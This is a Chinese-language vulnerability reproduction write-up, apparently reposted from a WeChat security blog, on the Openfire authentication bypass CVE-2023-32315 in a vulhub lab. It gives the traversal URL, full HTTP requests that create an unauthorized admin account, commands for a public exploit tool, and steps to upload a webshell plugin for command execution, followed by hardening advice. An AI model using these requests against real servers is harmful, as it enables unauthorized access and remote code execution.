日期:2023-12-20 作者:hdsec 介绍:本文介绍一下Openfire身份认证绕过漏洞(CVE-2023-32315)。
0x00 前言
在某次演练中遇到Openfire
,于是整理了本文,如有不妥之处还望指正。
0x01 什么是Openfire
Openfire
是一个开源的实时协作服务器,也被称为XMPP
(Extensible Messaging and Presence Protocol)服务器。它是基于Java
语言开发的,提供了一套完整的实时通信解决方案。Openfire
支持即时消息传递、在线状态监测、群组聊天、文件传输等功能。它使用XMPP
协议作为通信协议,这个协议被广泛应用于即时通讯、社交网络和物联网等领域。Openfire
具有可扩展性强、易于部署和管理的特点,因此在企业内部通讯、社交平台、在线客服等场景中得到了广泛应用。
0x01 漏洞影响范围
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
0x02 漏洞环境搭建
vulhub
漏洞环境:
https:
/
/github.com/vulhub
/vulhub/tree
/master/openfire
/CVE-2023-32315
执行如下命令启动一个4.7.4
版本的Openfire
:
docker-compose up -d
服务器启动后,访问http://your-ip:9090
跳转到登录页面。
0x03 漏洞复现
3.1 漏洞验证
访问如下链接:
http:
//x
.x.x.:
9090
/setup/setup-
s/%u002e%u002e/%u002e%u002e/log
.jsp
成功访问到未授权日志文件,证明存在Openfire
管理后台认证绕过漏洞。
3.2 未授权创建用户
获取JSESSIONID
和csrf
:
GET
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
HTTP/1.1
Host
: x.x.x.x:9090
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length
: 2
使用获取到JSESSIONID
和csrf
创建用户admin123/admin123
。
GET
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=admin123&name=&email=&password=admin123&passwordConfirm=admin123&isadmin=on&create=Create+User
HTTP/1.1
Host
: x.x.x.x:9090
Accept-Encoding
: gzip, deflate
Accept
: */*
Accept-Language
: en-US;q=0.9,en;q=0.8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection
: close
Cache-Control
: max-age=0
Cookie
: JSESSIONID=node0emorecgj3xmr1cq89bo05r05v176.node0;csrf=SM0rG58cmPWkkiR
使用创建的用户名和密码可成功登录系统。
除了利用上面手工方法创建用户,我们还可以利用github
上的漏洞利用工具:
https:
//github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
cd CVE
-2023
-32315
-Openfire-Bypass/scan_all
go
mod tidy
go
run main.
go
-u http:
//x.x.x.x:9090
可直接创建用户名密码。
3.3 后台上传插件实现RCE
登录后台,在Plugins
功能处上传从github
上下载的插件。
https:
//github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1`
上传成功后在server
- server settings
功能处发现发现shell Plugins
,成功得到webshell
。
输入管理密码123
,可进行命令执行。
0x04 加固建议
通常,开源软件在使用中可能会发现安全漏洞,并且开发者会不断努力修复这些漏洞并发布更新版本。如果你正在使用Openfire
,建议你遵循以下步骤来确保系统的安全性:
- 及时更新:定期检查
Openfire
的官方网站或邮件列表,获取最新的安全更新和补丁,并及时应用到你的系统中。 - 强化安全设置:配置
Openfire
的安全设置,例如限制访问、强密码策略等。 - 检查插件和扩展:审查安装的插件和扩展是否来自可信的来源,并确保它们是最新版本,以降低潜在的安全风险。
- 定期安全审计:进行系统安全审计,识别潜在的漏洞,并采取适当的措施来加强安全性。
原文始发于微信公众号(宸极实验室):『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论